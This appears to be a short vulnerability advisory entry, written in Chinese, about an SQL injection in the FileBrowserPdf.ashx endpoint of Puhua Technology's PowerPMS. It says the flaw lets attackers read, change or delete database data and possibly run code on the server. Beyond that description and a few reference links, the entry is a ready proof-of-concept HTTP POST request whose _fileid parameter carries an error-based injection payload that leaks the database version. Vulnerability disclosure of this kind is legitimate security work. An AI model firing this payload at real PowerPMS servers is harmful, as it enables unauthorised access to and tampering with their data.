Description
普华科技-PowerPMS FileBrowserPdf.ashx 接口存在SQL注入漏洞，使得攻击者能够获取、修改或删除数据库中的数据，甚至可能执行服务器上的任意代码。
普华科技-PowerPMS FileBrowserPdf.ashx SQL注入漏洞
PoC
POST /PowerPlat/Control/FileBrowserPdf.ashx HTTP/1.1
Host:
_fileid=1'and 1<@@VERSION--
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/powerpms-Control-FileBrowserPdf-sqli-2.html
https://ddpoc.com/DVB-2025-9720.html
https://github.com/Mr-xn/Penetration_Testing_POC
https://nosec.org/m/share/5904.html